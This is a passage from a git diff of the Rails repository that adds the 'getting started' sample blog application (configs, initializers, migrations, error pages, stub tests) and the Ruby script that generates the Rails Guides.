+  config.static_cache_control = 'public, max-age=3600'
+
+  # Show full error reports and disable caching.
+  config.consider_all_requests_local       = true
+  config.action_controller.perform_caching = false
+
+  # Raise exceptions instead of rendering exception templates.
+  config.action_dispatch.show_exceptions = false
+
+  # Disable request forgery protection in test environment.
+  config.action_controller.allow_forgery_protection = false
+
+  # Tell Action Mailer not to deliver emails to the real world.
+  # The :test delivery method accumulates sent emails in the
+  # ActionMailer::Base.deliveries array.
+  config.action_mailer.delivery_method = :test
+
+  # Print deprecation notices to the stderr.
+  config.active_support.deprecation = :stderr
+end
diff --git a/guides/code/getting_started/config/initializers/backtrace_silencers.rb b/guides/code/getting_started/config/initializers/backtrace_silencers.rb
new file mode 100644
index 0000000..59385cd
--- /dev/null
+++ b/guides/code/getting_started/config/initializers/backtrace_silencers.rb
@@ -0,0 +1,7 @@
+# Be sure to restart your server when you modify this file.
+
+# You can add backtrace silencers for libraries that you're using but don't wish to see in your backtraces.
+# Rails.backtrace_cleaner.add_silencer { |line| line =~ /my_noisy_library/ }
+
+# You can also remove all the silencers if you're trying to debug a problem that might stem from framework code.
+# Rails.backtrace_cleaner.remove_silencers!
diff --git a/guides/code/getting_started/config/initializers/filter_parameter_logging.rb b/guides/code/getting_started/config/initializers/filter_parameter_logging.rb
new file mode 100644
index 0000000..4a994e1
--- /dev/null
+++ b/guides/code/getting_started/config/initializers/filter_parameter_logging.rb
@@ -0,0 +1,4 @@
+# Be sure to restart your server when you modify this file.
+
+# Configure sensitive parameters which will be filtered from the log file.
+Rails.application.config.filter_parameters += [:password]
diff --git a/guides/code/getting_started/config/initializers/inflections.rb b/guides/code/getting_started/config/initializers/inflections.rb
new file mode 100644
index 0000000..ac033bf
--- /dev/null
+++ b/guides/code/getting_started/config/initializers/inflections.rb
@@ -0,0 +1,16 @@
+# Be sure to restart your server when you modify this file.
+
+# Add new inflection rules using the following format. Inflections
+# are locale specific, and you may define rules for as many different
+# locales as you wish. All of these examples are active by default:
+# ActiveSupport::Inflector.inflections(:en) do |inflect|
+#   inflect.plural /^(ox)$/i, '\1en'
+#   inflect.singular /^(ox)en/i, '\1'
+#   inflect.irregular 'person', 'people'
+#   inflect.uncountable %w( fish sheep )
+# end
+
+# These inflection rules are supported but not enabled by default:
+# ActiveSupport::Inflector.inflections(:en) do |inflect|
+#   inflect.acronym 'RESTful'
+# end
diff --git a/guides/code/getting_started/config/initializers/locale.rb b/guides/code/getting_started/config/initializers/locale.rb
new file mode 100644
index 0000000..d89dac7
--- /dev/null
+++ b/guides/code/getting_started/config/initializers/locale.rb
@@ -0,0 +1,9 @@
+# Be sure to restart your server when you modify this file.
+
+# Set Time.zone default to the specified zone and make Active Record auto-convert to this zone.
+# Run "rake -D time" for a list of tasks for finding time zone names. Default is UTC.
+# Rails.application.config.time_zone = 'Central Time (US & Canada)'
+
+# The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded.
+# Rails.application.config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s]
+# Rails.application.config.i18n.default_locale = :de
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/mime_types.rb b/guides/code/getting_started/config/initializers/mime_types.rb
similarity index 100%
copy from railties/lib/rails/generators/rails/app/templates/config/initializers/mime_types.rb
copy to guides/code/getting_started/config/initializers/mime_types.rb
diff --git a/guides/code/getting_started/config/initializers/secret_token.rb b/guides/code/getting_started/config/initializers/secret_token.rb
new file mode 100644
index 0000000..aaf5773
--- /dev/null
+++ b/guides/code/getting_started/config/initializers/secret_token.rb
@@ -0,0 +1,12 @@
+# Be sure to restart your server when you modify this file.
+
+# Your secret key for verifying the integrity of signed cookies.
+# If you change this key, all old signed cookies will become invalid!
+
+# Make sure the secret is at least 30 characters and all random,
+# no regular words or you'll be exposed to dictionary attacks.
+# You can use `rake secret` to generate a secure secret key.
+
+# Make sure your secret_key_base is kept private
+# if you're sharing your code publicly.
+Blog::Application.config.secret_key_base = 'e8aab50cec8a06a75694111a4cbaf6e22fc288ccbc6b268683aae7273043c69b15ca07d10c92a788dd6077a54762cbfcc55f19c3459f7531221b3169f8171a53'
diff --git a/guides/code/getting_started/config/initializers/session_store.rb b/guides/code/getting_started/config/initializers/session_store.rb
new file mode 100644
index 0000000..3b2ca93
--- /dev/null
+++ b/guides/code/getting_started/config/initializers/session_store.rb
@@ -0,0 +1,3 @@
+# Be sure to restart your server when you modify this file.
+
+Blog::Application.config.session_store :cookie_store, key: '_blog_session'
diff --git a/guides/code/getting_started/config/initializers/wrap_parameters.rb b/guides/code/getting_started/config/initializers/wrap_parameters.rb
new file mode 100644
index 0000000..33725e9
--- /dev/null
+++ b/guides/code/getting_started/config/initializers/wrap_parameters.rb
@@ -0,0 +1,14 @@
+# Be sure to restart your server when you modify this file.
+
+# This file contains settings for ActionController::ParamsWrapper which
+# is enabled by default.
+
+# Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array.
+ActiveSupport.on_load(:action_controller) do
+  wrap_parameters format: [:json] if respond_to?(:wrap_parameters)
+end
+
+# To enable root element in JSON for ActiveRecord objects.
+# ActiveSupport.on_load(:active_record) do
+#  self.include_root_in_json = true
+# end
diff --git a/guides/code/getting_started/config/locales/en.yml b/guides/code/getting_started/config/locales/en.yml
new file mode 100644
index 0000000..0653957
--- /dev/null
+++ b/guides/code/getting_started/config/locales/en.yml
@@ -0,0 +1,23 @@
+# Files in the config/locales directory are used for internationalization
+# and are automatically loaded by Rails. If you want to use locales other
+# than English, add the necessary files in this directory.
+#
+# To use the locales, use `I18n.t`:
+#
+#     I18n.t 'hello'
+#
+# In views, this is aliased to just `t`:
+#
+#     <%= t('hello') %>
+#
+# To use a different locale, set it with `I18n.locale`:
+#
+#     I18n.locale = :es
+#
+# This would use the information in config/locales/es.yml.
+#
+# To learn more, please read the Rails Internationalization guide
+# available at http://guides.rubyonrails.org/i18n.html.
+
+en:
+  hello: "Hello world"
diff --git a/guides/code/getting_started/config/routes.rb b/guides/code/getting_started/config/routes.rb
new file mode 100644
index 0000000..0155b61
--- /dev/null
+++ b/guides/code/getting_started/config/routes.rb
@@ -0,0 +1,7 @@
+Blog::Application.routes.draw do
+  resources :posts do
+    resources :comments
+  end
+
+  root "welcome#index"
+end
diff --git a/guides/code/getting_started/db/migrate/20130122042648_create_posts.rb b/guides/code/getting_started/db/migrate/20130122042648_create_posts.rb
new file mode 100644
index 0000000..602bef3
--- /dev/null
+++ b/guides/code/getting_started/db/migrate/20130122042648_create_posts.rb
@@ -0,0 +1,10 @@
+class CreatePosts < ActiveRecord::Migration
+  def change
+    create_table :posts do |t|
+      t.string :title
+      t.text :text
+
+      t.timestamps
+    end
+  end
+end
diff --git a/guides/code/getting_started/db/migrate/20130122045842_create_comments.rb b/guides/code/getting_started/db/migrate/20130122045842_create_comments.rb
new file mode 100644
index 0000000..3e51f9c
--- /dev/null
+++ b/guides/code/getting_started/db/migrate/20130122045842_create_comments.rb
@@ -0,0 +1,11 @@
+class CreateComments < ActiveRecord::Migration
+  def change
+    create_table :comments do |t|
+      t.string :commenter
+      t.text :body
+      t.references :post, index: true
+
+      t.timestamps
+    end
+  end
+end
diff --git a/guides/code/getting_started/db/schema.rb b/guides/code/getting_started/db/schema.rb
new file mode 100644
index 0000000..101fe71
--- /dev/null
+++ b/guides/code/getting_started/db/schema.rb
@@ -0,0 +1,33 @@
+# encoding: UTF-8
+# This file is auto-generated from the current state of the database. Instead
+# of editing this file, please use the migrations feature of Active Record to
+# incrementally modify your database, and then regenerate this schema definition.
+#
+# Note that this schema.rb definition is the authoritative source for your
+# database schema. If you need to create the application database on another
+# system, you should be using db:schema:load, not running all the migrations
+# from scratch. The latter is a flawed and unsustainable approach (the more migrations
+# you'll amass, the slower it'll run and the greater likelihood for issues).
+#
+# It's strongly recommended that you check this file into your version control system.
+
+ActiveRecord::Schema.define(version: 20130122045842) do
+
+  create_table "comments", force: true do |t|
+    t.string   "commenter"
+    t.text     "body"
+    t.integer  "post_id"
+    t.datetime "created_at"
+    t.datetime "updated_at"
+  end
+
+  add_index "comments", ["post_id"], name: "index_comments_on_post_id"
+
+  create_table "posts", force: true do |t|
+    t.string   "title"
+    t.text     "text"
+    t.datetime "created_at"
+    t.datetime "updated_at"
+  end
+
+end
diff --git a/guides/code/getting_started/db/seeds.rb b/guides/code/getting_started/db/seeds.rb
new file mode 100644
index 0000000..4edb1e8
--- /dev/null
+++ b/guides/code/getting_started/db/seeds.rb
@@ -0,0 +1,7 @@
+# This file should contain all the record creation needed to seed the database with its default values.
+# The data can then be loaded with the rake db:seed (or created alongside the db with db:setup).
+#
+# Examples:
+#
+#   cities = City.create([{ name: 'Chicago' }, { name: 'Copenhagen' }])
+#   Mayor.create(name: 'Emanuel', city: cities.first)
diff --git a/actionpack/test/fixtures/digestor/events/_event.html.erb b/guides/code/getting_started/lib/assets/.keep
similarity index 100%
copy from actionpack/test/fixtures/digestor/events/_event.html.erb
copy to guides/code/getting_started/lib/assets/.keep
diff --git a/actionpack/test/fixtures/digestor/events/_event.html.erb b/guides/code/getting_started/lib/tasks/.keep
similarity index 100%
copy from actionpack/test/fixtures/digestor/events/_event.html.erb
copy to guides/code/getting_started/lib/tasks/.keep
diff --git a/actionpack/test/fixtures/digestor/events/_event.html.erb b/guides/code/getting_started/log/.keep
similarity index 100%
copy from actionpack/test/fixtures/digestor/events/_event.html.erb
copy to guides/code/getting_started/log/.keep
diff --git a/guides/code/getting_started/public/404.html b/guides/code/getting_started/public/404.html
new file mode 100644
index 0000000..3265cc8
--- /dev/null
+++ b/guides/code/getting_started/public/404.html
@@ -0,0 +1,60 @@
+<!DOCTYPE html>
+<html>
+<head>
+  <title>The page you were looking for doesn't exist (404)</title>
+  <style>
+  body {
+    background-color: #EFEFEF;
+    color: #2E2F30;
+    text-align: center;
+    font-family: arial, sans-serif;
+  }
+
+  div.dialog {
+    width: 25em;
+    margin: 4em auto 0 auto;
+    border: 1px solid #CCC;
+    border-right-color: #999;
+    border-left-color: #999;
+    border-bottom-color: #BBB;
+    border-top: #B00100 solid 4px;
+    border-top-left-radius: 9px;
+    border-top-right-radius: 9px;
+    background-color: white;
+    padding: 7px 4em 0 4em;
+    box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
+  }
+
+  h1 {
+    font-size: 100%;
+    color: #730E15;
+    line-height: 1.5em;
+  }
+
+  body > p {
+    width: 33em;
+    margin: 0 auto 1em;
+    padding: 1em 0;
+    background-color: #F7F7F7;
+    border: 1px solid #CCC;
+    border-right-color: #999;
+    border-left-color: #999;
+    border-bottom-color: #999;
+    border-bottom-left-radius: 4px;
+    border-bottom-right-radius: 4px;
+    border-top-color: #DADADA;
+    color: #666;
+    box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
+  }
+  </style>
+</head>
+
+<body>
+  <!-- This file lives in public/404.html -->
+  <div class="dialog">
+    <h1>The page you were looking for doesn't exist.</h1>
+    <p>You may have mistyped the address or the page may have moved.</p>
+  </div>
+  <p>If you are the application owner check the logs for more information.</p>
+</body>
+</html>
diff --git a/guides/code/getting_started/public/422.html b/guides/code/getting_started/public/422.html
new file mode 100644
index 0000000..d823a8f
--- /dev/null
+++ b/guides/code/getting_started/public/422.html
@@ -0,0 +1,60 @@
+<!DOCTYPE html>
+<html>
+<head>
+  <title>The change you wanted was rejected (422)</title>
+  <style>
+  body {
+    background-color: #EFEFEF;
+    color: #2E2F30;
+    text-align: center;
+    font-family: arial, sans-serif;
+  }
+
+  div.dialog {
+    width: 25em;
+    margin: 4em auto 0 auto;
+    border: 1px solid #CCC;
+    border-right-color: #999;
+    border-left-color: #999;
+    border-bottom-color: #BBB;
+    border-top: #B00100 solid 4px;
+    border-top-left-radius: 9px;
+    border-top-right-radius: 9px;
+    background-color: white;
+    padding: 7px 4em 0 4em;
+    box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
+  }
+
+  h1 {
+    font-size: 100%;
+    color: #730E15;
+    line-height: 1.5em;
+  }
+
+  body > p {
+    width: 33em;
+    margin: 0 auto 1em;
+    padding: 1em 0;
+    background-color: #F7F7F7;
+    border: 1px solid #CCC;
+    border-right-color: #999;
+    border-left-color: #999;
+    border-bottom-color: #999;
+    border-bottom-left-radius: 4px;
+    border-bottom-right-radius: 4px;
+    border-top-color: #DADADA;
+    color: #666;
+    box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
+  }
+  </style>
+</head>
+
+<body>
+  <!-- This file lives in public/422.html -->
+  <div class="dialog">
+    <h1>The change you wanted was rejected.</h1>
+    <p>Maybe you tried to change something you didn't have access to.</p>
+  </div>
+  <p>If you are the application owner check the logs for more information.</p>
+</body>
+</html>
diff --git a/guides/code/getting_started/public/500.html b/guides/code/getting_started/public/500.html
new file mode 100644
index 0000000..ebf6d4c
--- /dev/null
+++ b/guides/code/getting_started/public/500.html
@@ -0,0 +1,59 @@
+<!DOCTYPE html>
+<html>
+<head>
+  <title>We're sorry, but something went wrong (500)</title>
+  <style>
+  body {
+    background-color: #EFEFEF;
+    color: #2E2F30;
+    text-align: center;
+    font-family: arial, sans-serif;
+  }
+
+  div.dialog {
+    width: 25em;
+    margin: 4em auto 0 auto;
+    border: 1px solid #CCC;
+    border-right-color: #999;
+    border-left-color: #999;
+    border-bottom-color: #BBB;
+    border-top: #B00100 solid 4px;
+    border-top-left-radius: 9px;
+    border-top-right-radius: 9px;
+    background-color: white;
+    padding: 7px 4em 0 4em;
+    box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
+  }
+
+  h1 {
+    font-size: 100%;
+    color: #730E15;
+    line-height: 1.5em;
+  }
+
+  body > p {
+    width: 33em;
+    margin: 0 auto 1em;
+    padding: 1em 0;
+    background-color: #F7F7F7;
+    border: 1px solid #CCC;
+    border-right-color: #999;
+    border-left-color: #999;
+    border-bottom-color: #999;
+    border-bottom-left-radius: 4px;
+    border-bottom-right-radius: 4px;
+    border-top-color: #DADADA;
+    color: #666;
+    box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
+  }
+  </style>
+</head>
+
+<body>
+  <!-- This file lives in public/500.html -->
+  <div class="dialog">
+    <h1>We're sorry, but something went wrong.</h1>
+  </div>
+  <p>If you are the application owner check the logs for more information.</p>
+</body>
+</html>
diff --git a/actionpack/test/fixtures/digestor/events/_event.html.erb b/guides/code/getting_started/public/favicon.ico
similarity index 100%
copy from actionpack/test/fixtures/digestor/events/_event.html.erb
copy to guides/code/getting_started/public/favicon.ico
diff --git a/guides/code/getting_started/public/robots.txt b/guides/code/getting_started/public/robots.txt
new file mode 100644
index 0000000..3c9c7c0
--- /dev/null
+++ b/guides/code/getting_started/public/robots.txt
@@ -0,0 +1,5 @@
+# See http://www.robotstxt.org/robotstxt.html for documentation on how to use the robots.txt file
+#
+# To ban all spiders from the entire site uncomment the next two lines:
+# User-agent: *
+# Disallow: /
diff --git a/actionpack/test/fixtures/digestor/events/_event.html.erb b/guides/code/getting_started/test/controllers/.keep
similarity index 100%
copy from actionpack/test/fixtures/digestor/events/_event.html.erb
copy to guides/code/getting_started/test/controllers/.keep
diff --git a/guides/code/getting_started/test/controllers/comments_controller_test.rb b/guides/code/getting_started/test/controllers/comments_controller_test.rb
new file mode 100644
index 0000000..2ec71b4
--- /dev/null
+++ b/guides/code/getting_started/test/controllers/comments_controller_test.rb
@@ -0,0 +1,7 @@
+require 'test_helper'
+
+class CommentsControllerTest < ActionController::TestCase
+  # test "the truth" do
+  #   assert true
+  # end
+end
diff --git a/guides/code/getting_started/test/controllers/posts_controller_test.rb b/guides/code/getting_started/test/controllers/posts_controller_test.rb
new file mode 100644
index 0000000..7a6ee4f
--- /dev/null
+++ b/guides/code/getting_started/test/controllers/posts_controller_test.rb
@@ -0,0 +1,7 @@
+require 'test_helper'
+
+class PostsControllerTest < ActionController::TestCase
+  # test "the truth" do
+  #   assert true
+  # end
+end
diff --git a/guides/code/getting_started/test/controllers/welcome_controller_test.rb b/guides/code/getting_started/test/controllers/welcome_controller_test.rb
new file mode 100644
index 0000000..dff8e9d
--- /dev/null
+++ b/guides/code/getting_started/test/controllers/welcome_controller_test.rb
@@ -0,0 +1,9 @@
+require 'test_helper'
+
+class WelcomeControllerTest < ActionController::TestCase
+  test "should get index" do
+    get :index
+    assert_response :success
+  end
+
+end
diff --git a/actionpack/test/fixtures/digestor/events/_event.html.erb b/guides/code/getting_started/test/fixtures/.keep
similarity index 100%
copy from actionpack/test/fixtures/digestor/events/_event.html.erb
copy to guides/code/getting_started/test/fixtures/.keep
diff --git a/guides/code/getting_started/test/fixtures/comments.yml b/guides/code/getting_started/test/fixtures/comments.yml
new file mode 100644
index 0000000..9e409d8
--- /dev/null
+++ b/guides/code/getting_started/test/fixtures/comments.yml
@@ -0,0 +1,11 @@
+# Read about fixtures at http://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html
+
+one:
+  commenter: MyString
+  body: MyText
+  post_id: 
+
+two:
+  commenter: MyString
+  body: MyText
+  post_id: 
diff --git a/guides/code/getting_started/test/fixtures/posts.yml b/guides/code/getting_started/test/fixtures/posts.yml
new file mode 100644
index 0000000..46b01c3
--- /dev/null
+++ b/guides/code/getting_started/test/fixtures/posts.yml
@@ -0,0 +1,9 @@
+# Read about fixtures at http://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html
+
+one:
+  title: MyString
+  text: MyText
+
+two:
+  title: MyString
+  text: MyText
diff --git a/actionpack/test/fixtures/digestor/events/_event.html.erb b/guides/code/getting_started/test/helpers/.keep
similarity index 100%
copy from actionpack/test/fixtures/digestor/events/_event.html.erb
copy to guides/code/getting_started/test/helpers/.keep
diff --git a/guides/code/getting_started/test/helpers/comments_helper_test.rb b/guides/code/getting_started/test/helpers/comments_helper_test.rb
new file mode 100644
index 0000000..2518c16
--- /dev/null
+++ b/guides/code/getting_started/test/helpers/comments_helper_test.rb
@@ -0,0 +1,4 @@
+require 'test_helper'
+
+class CommentsHelperTest < ActionView::TestCase
+end
diff --git a/guides/code/getting_started/test/helpers/posts_helper_test.rb b/guides/code/getting_started/test/helpers/posts_helper_test.rb
new file mode 100644
index 0000000..48549c2
--- /dev/null
+++ b/guides/code/getting_started/test/helpers/posts_helper_test.rb
@@ -0,0 +1,4 @@
+require 'test_helper'
+
+class PostsHelperTest < ActionView::TestCase
+end
diff --git a/guides/code/getting_started/test/helpers/welcome_helper_test.rb b/guides/code/getting_started/test/helpers/welcome_helper_test.rb
new file mode 100644
index 0000000..d6ded59
--- /dev/null
+++ b/guides/code/getting_started/test/helpers/welcome_helper_test.rb
@@ -0,0 +1,4 @@
+require 'test_helper'
+
+class WelcomeHelperTest < ActionView::TestCase
+end
diff --git a/actionpack/test/fixtures/digestor/events/_event.html.erb b/guides/code/getting_started/test/integration/.keep
similarity index 100%
copy from actionpack/test/fixtures/digestor/events/_event.html.erb
copy to guides/code/getting_started/test/integration/.keep
diff --git a/actionpack/test/fixtures/digestor/events/_event.html.erb b/guides/code/getting_started/test/mailers/.keep
similarity index 100%
copy from actionpack/test/fixtures/digestor/events/_event.html.erb
copy to guides/code/getting_started/test/mailers/.keep
diff --git a/actionpack/test/fixtures/digestor/events/_event.html.erb b/guides/code/getting_started/test/models/.keep
similarity index 100%
copy from actionpack/test/fixtures/digestor/events/_event.html.erb
copy to guides/code/getting_started/test/models/.keep
diff --git a/guides/code/getting_started/test/models/comment_test.rb b/guides/code/getting_started/test/models/comment_test.rb
new file mode 100644
index 0000000..b6d6131
--- /dev/null
+++ b/guides/code/getting_started/test/models/comment_test.rb
@@ -0,0 +1,7 @@
+require 'test_helper'
+
+class CommentTest < ActiveSupport::TestCase
+  # test "the truth" do
+  #   assert true
+  # end
+end
diff --git a/guides/code/getting_started/test/models/post_test.rb b/guides/code/getting_started/test/models/post_test.rb
new file mode 100644
index 0000000..6d9d463
--- /dev/null
+++ b/guides/code/getting_started/test/models/post_test.rb
@@ -0,0 +1,7 @@
+require 'test_helper'
+
+class PostTest < ActiveSupport::TestCase
+  # test "the truth" do
+  #   assert true
+  # end
+end
diff --git a/guides/code/getting_started/test/test_helper.rb b/guides/code/getting_started/test/test_helper.rb
new file mode 100644
index 0000000..ecbaf77
--- /dev/null
+++ b/guides/code/getting_started/test/test_helper.rb
@@ -0,0 +1,12 @@
+ENV["RAILS_ENV"] = "test"
+require File.expand_path('../../config/environment', __FILE__)
+require 'rails/test_help'
+
+class ActiveSupport::TestCase
+  ActiveRecord::Migration.check_pending!
+
+  # Setup all fixtures in test/fixtures/*.yml for all tests in alphabetical order.
+  fixtures :all
+
+  # Add more helper methods to be used by all tests here...
+end
diff --git a/actionpack/test/fixtures/digestor/events/_event.html.erb b/guides/code/getting_started/vendor/assets/javascripts/.keep
similarity index 100%
copy from actionpack/test/fixtures/digestor/events/_event.html.erb
copy to guides/code/getting_started/vendor/assets/javascripts/.keep
diff --git a/actionpack/test/fixtures/digestor/events/_event.html.erb b/guides/code/getting_started/vendor/assets/stylesheets/.keep
similarity index 100%
rename from actionpack/test/fixtures/digestor/events/_event.html.erb
rename to guides/code/getting_started/vendor/assets/stylesheets/.keep
diff --git a/guides/rails_guides.rb b/guides/rails_guides.rb
new file mode 100644
index 0000000..9d488a8
--- /dev/null
+++ b/guides/rails_guides.rb
@@ -0,0 +1,63 @@
+pwd = File.dirname(__FILE__)
+$:.unshift pwd
+
+# This is a predicate useful for the doc:guides task of applications.
+def bundler?
+  # Note that rake sets the cwd to the one that contains the Rakefile
+  # being executed.
+  File.exist?('Gemfile')
+end
+
+begin
+  # Guides generation in the Rails repo.
+  as_lib = File.join(pwd, "../activesupport/lib")
+  ap_lib = File.join(pwd, "../actionpack/lib")
+
+  $:.unshift as_lib if File.directory?(as_lib)
+  $:.unshift ap_lib if File.directory?(ap_lib)
+rescue LoadError
+  # Guides generation from gems.
+  gem "actionpack", '>= 3.0'
+end
+
+begin
+  require 'redcarpet'
+rescue LoadError
+  # This can happen if doc:guides is executed in an application.
+  $stderr.puts('Generating guides requires Redcarpet 2.1.1+.')
+  $stderr.puts(<<ERROR) if bundler?
+Please add
+
+  gem 'redcarpet', '~> 2.1.1'
+
+to the Gemfile, run
+
+  bundle install
+
+and try again.
+ERROR
+  exit 1
+end
+
+begin
+  require 'nokogiri'
+rescue LoadError
+  # This can happen if doc:guides is executed in an application.
+  $stderr.puts('Generating guides requires Nokogiri.')
+  $stderr.puts(<<ERROR) if bundler?
+Please add
+
+  gem 'nokogiri'
+
+to the Gemfile, run
+
+  bundle install
+
+and try again.
+ERROR
+  exit 1
+end
+
+require 'rails_guides/markdown'
+require "rails_guides/generator"
+RailsGuides::Generator.new.generate
diff --git a/guides/rails_guides/generator.rb b/guides/rails_guides/generator.rb
new file mode 100644
index 0000000..aa90045
--- /dev/null
+++ b/guides/rails_guides/generator.rb
@@ -0,0 +1,248 @@
+# ---------------------------------------------------------------------------
+#
+# This script generates the guides. It can be invoked via the
+# guides:generate rake task within the guides directory.
+#
+# Guides are taken from the source directory, and the resulting HTML goes into the
+# output directory. Assets are stored under files, and copied to output/files as
+# part of the generation process.
+#
+# Some arguments may be passed via environment variables:
+#
+#   WARNINGS
+#     If you are writing a guide, please work always with WARNINGS=1. Users can
+#     generate the guides, and thus this flag is off by default.
+#
+#     Internal links (anchors) are checked. If a reference is broken levenshtein
+#     distance is used to suggest an existing one. This is useful since IDs are
+#     generated by Markdown from headers and thus edits alter them.
+#
+#     Also detects duplicated IDs. They happen if there are headers with the same
+#     text. Please do resolve them, if any, so guides are valid XHTML.
+#
+#   ALL
+#    Set to "1" to force the generation of all guides.
+#
+#   ONLY
+#     Use ONLY if you want to generate only one or a set of guides. Prefixes are
+#     enough:
+#
+#       # generates only association_basics.html
+#       ONLY=assoc ruby rails_guides.rb
+#
+#     Separate many using commas:
+#
+#       # generates only association_basics.html and migrations.html
+#       ONLY=assoc,migrations ruby rails_guides.rb
+#
+#     Note that if you are working on a guide generation will by default process
+#     only that one, so ONLY is rarely used nowadays.
+#
+#   GUIDES_LANGUAGE
+#     Use GUIDES_LANGUAGE when you want to generate translated guides in
+#     <tt>source/<GUIDES_LANGUAGE></tt> folder (such as <tt>source/es</tt>).
+#     Ignore it when generating English guides.
+#
+#   EDGE
+#     Set to "1" to indicate generated guides should be marked as edge. This
+#     inserts a badge and changes the preamble of the home page.
+#
+# ---------------------------------------------------------------------------
+
+require 'set'
+require 'fileutils'
+
+require 'active_support/core_ext/string/output_safety'
+require 'active_support/core_ext/object/blank'
+require 'action_controller'
+require 'action_view'
+
+require 'rails_guides/indexer'
+require 'rails_guides/helpers'
+require 'rails_guides/levenshtein'
+
+module RailsGuides
+  class Generator
+    attr_reader :guides_dir, :source_dir, :output_dir, :edge, :warnings, :all
+
+    GUIDES_RE = /\.(?:erb|md)\z/
+
+    def initialize(output=nil)
+      set_flags_from_environment
+
+      if kindle?
+        check_for_kindlegen
+        register_kindle_mime_types
+      end
+
+      initialize_dirs(output)
+      create_output_dir_if_needed
+    end
+
+    def set_flags_from_environment
+      @edge     = ENV['EDGE']     == '1'
+      @warnings = ENV['WARNINGS'] == '1'
+      @all      = ENV['ALL']      == '1'
+      @kindle   = ENV['KINDLE']   == '1'
+      @version  = ENV['RAILS_VERSION'] || 'local'
+      @lang     = ENV['GUIDES_LANGUAGE']
+    end
+
+    def register_kindle_mime_types
+      Mime::Type.register_alias("application/xml", :opf, %w(opf))
+      Mime::Type.register_alias("application/xml", :ncx, %w(ncx))
+    end
+
+    def generate
+      generate_guides
+      copy_assets
+      generate_mobi if kindle?
+    end
+
+    private
+
+    def kindle?
+      @kindle
+    end
+
+    def check_for_kindlegen
+      if `which kindlegen`.blank?
+        raise "Can't create a kindle version without `kindlegen`."
+      end
+    end
+
+    def generate_mobi
+      require 'rails_guides/kindle'
+      out = "#{output_dir}/kindlegen.out"
+      Kindle.generate(output_dir, mobi, out)
+      puts "(kindlegen log at #{out})."
+    end
+
+    def mobi
+      "ruby_on_rails_guides_#@version%s.mobi" % (@lang.present? ? ".#@lang" : '')
+    end
+
+    def initialize_dirs(output)
+      @guides_dir = File.join(File.dirname(__FILE__), '..')
+      @source_dir = "#@guides_dir/source/#@lang"
+      @output_dir = if output
+        output
+      elsif kindle?
+        "#@guides_dir/output/kindle/#@lang"
+      else
+        "#@guides_dir/output/#@lang"
+      end.sub(%r</$>, '')
+    end
+
+    def create_output_dir_if_needed
+      FileUtils.mkdir_p(output_dir)
+    end
+
+    def generate_guides
+      guides_to_generate.each do |guide|
+        output_file = output_file_for(guide)
+        generate_guide(guide, output_file) if generate?(guide, output_file)
+      end
+    end
+
+    def guides_to_generate
+      guides = Dir.entries(source_dir).grep(GUIDES_RE)
+
+      if kindle?
+        Dir.entries("#{source_dir}/kindle").grep(GUIDES_RE).map do |entry|
+          next if entry == 'KINDLE.md'
+          guides << "kindle/#{entry}"
+        end
+      end
+
+      ENV.key?('ONLY') ? select_only(guides) : guides
+    end
+
+    def select_only(guides)
+      prefixes = ENV['ONLY'].split(",").map(&:strip)
+      guides.select do |guide|
+        prefixes.any? { |p| guide.start_with?(p) || guide.start_with?("kindle") }
+      end
+    end
+
+    def copy_assets
+      FileUtils.cp_r(Dir.glob("#{guides_dir}/assets/*"), output_dir)
+    end
+
+    def output_file_for(guide)
+      if guide.end_with?('.md')
+        guide.sub(/md\z/, 'html')
+      else
+        guide.sub(/\.erb\z/, '')
+      end
+    end
+
+    def output_path_for(output_file)
+      File.join(output_dir, File.basename(output_file))
+    end
+
+    def generate?(source_file, output_file)
+      fin  = File.join(source_dir, source_file)
+      fout = output_path_for(output_file)
+      all || !File.exist?(fout) || File.mtime(fout) < File.mtime(fin)
+    end
+
+    def generate_guide(guide, output_file)
+      output_path = output_path_for(output_file)
+      puts "Generating #{guide} as #{output_file}"
+      layout = kindle? ? 'kindle/layout' : 'layout'
+
+      File.open(output_path, 'w') do |f|
+        view = ActionView::Base.new(source_dir, :edge => @edge, :version => @version, :mobi => "kindle/#{mobi}")
+        view.extend(Helpers)
+
+        if guide =~ /\.(\w+)\.erb$/
+          # Generate the special pages like the home.
+          # Passing a template handler in the template name is deprecated. So pass the file name without the extension.
+          result = view.render(:layout => layout, :formats => [$1], :file => $`)
+        else
+          body = File.read(File.join(source_dir, guide))
+          result = RailsGuides::Markdown.new(view, layout).render(body)
+
+          warn_about_broken_links(result) if @warnings
+        end
+
+        f.write(result)
+      end
+    end
+
+    def warn_about_broken_links(html)
+      anchors = extract_anchors(html)
+      check_fragment_identifiers(html, anchors)
+    end
+
+    def extract_anchors(html)
+      # Markdown generates headers with IDs computed from titles.
+      anchors = Set.new
+      html.scan(/<h\d\s+id="([^"]+)/).flatten.each do |anchor|
+        if anchors.member?(anchor)
+          puts "*** DUPLICATE ID: #{anchor}, please make sure that there're no headings with the same name at the same level."
+        else
+          anchors << anchor
+        end
+      end
+
+      # Footnotes.
+      anchors += Set.new(html.scan(/<p\s+class="footnote"\s+id="([^"]+)/).flatten)
+      anchors += Set.new(html.scan(/<sup\s+class="footnote"\s+id="([^"]+)/).flatten)
+      return anchors
+    end
+
+    def check_fragment_identifiers(html, anchors)
+      html.scan(/<a\s+href="#([^"]+)/).flatten.each do |fragment_identifier|
+        next if fragment_identifier == 'mainCol' # in layout, jumps to some DIV
+        unless anchors.member?(fragment_identifier)
+          guess = anchors.min { |a, b|
+            Levenshtein.distance(fragment_identifier, a) <=> Levenshtein.distance(fragment_identifier, b)
+          }
+          puts "*** BROKEN LINK: ##{fragment_identifier}, perhaps you meant ##{guess}."
+        end
+      end
+    end
+  end
+end
diff --git a/guides/rails_guides/helpers.rb b/guides/rails_guides/helpers.rb
new file mode 100644
index 0000000..1694534
--- /dev/null
+++ b/guides/rails_guides/helpers.rb
@@ -0,0 +1,53 @@
